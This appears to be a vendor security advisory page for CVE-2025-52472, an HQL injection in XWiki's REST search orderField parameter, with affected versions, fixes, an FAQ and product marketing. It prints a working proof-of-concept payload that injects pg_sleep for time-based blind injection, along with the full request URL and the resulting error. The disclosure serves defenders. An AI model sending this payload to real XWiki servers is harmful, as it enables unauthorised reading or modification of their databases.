CVE-2025-52472

Workarounds

There is no known workaround, other than upgrading XWiki.

Resources

• https://jira.xwiki.org/browse/XWIKI-23247
• https://github.com/xwiki/xwiki-platform/commit/743ebf8696ffa55161ed2c5ecf26b09f69e6bcf1
• https://github.com/xwiki/xwiki-platform/commit/a45eca2af772abb7324e56d7fd2df1ac937bc445

For more information

If you have any questions or comments about this advisory:

• Open an issue in Jira XWiki.org
• Email us at Security Mailing List

The REST search URL is vulnerable to HQL injection via the orderField parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it.

For example, with the following orderField parameter:

doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment'%20or%20a%3D'%20order%20by%20doc.fullName

See the following error:

QuerySyntaxException: unexpected token: $$ near line 1, column 518 [select distinct doc.fullName, doc.space, doc.name, doc.language, doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where (doc.hidden <> true or doc.hidden is null) and ($$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=') order by doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc  where ( (upper(doc.title) like :keywords) ) order by doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName asc]

For reference, the full URL for the above error is:

http://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

Kodem intelligence

This has been patched in 17.5.0, 17.4.2, 16.10.9.

1. What is CVE-2025-52472? CVE-2025-52472 is a critical-severity SQL injection vulnerability in org.xwiki.platform:xwiki-platform-rest-server (maven), affecting versions >= 17.0.0-rc-1, < 17.4.2. It is fixed in 17.4.2, 16.10.9. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. Which versions of org.xwiki.platform:xwiki-platform-rest-server are affected by CVE-2025-52472? org.xwiki.platform:xwiki-platform-rest-server (maven) versions >= 17.0.0-rc-1, < 17.4.2 is affected.
3. Is there a fix for CVE-2025-52472? Yes. CVE-2025-52472 is fixed in 17.4.2, 16.10.9. Upgrade to this version or later.
4. Is CVE-2025-52472 exploitable, and should I be worried? Whether CVE-2025-52472 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-52472 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-52472?
   • Upgrade org.xwiki.platform:xwiki-platform-rest-server to 17.4.2 or later
   • Upgrade org.xwiki.platform:xwiki-platform-rest-server to 16.10.9 or later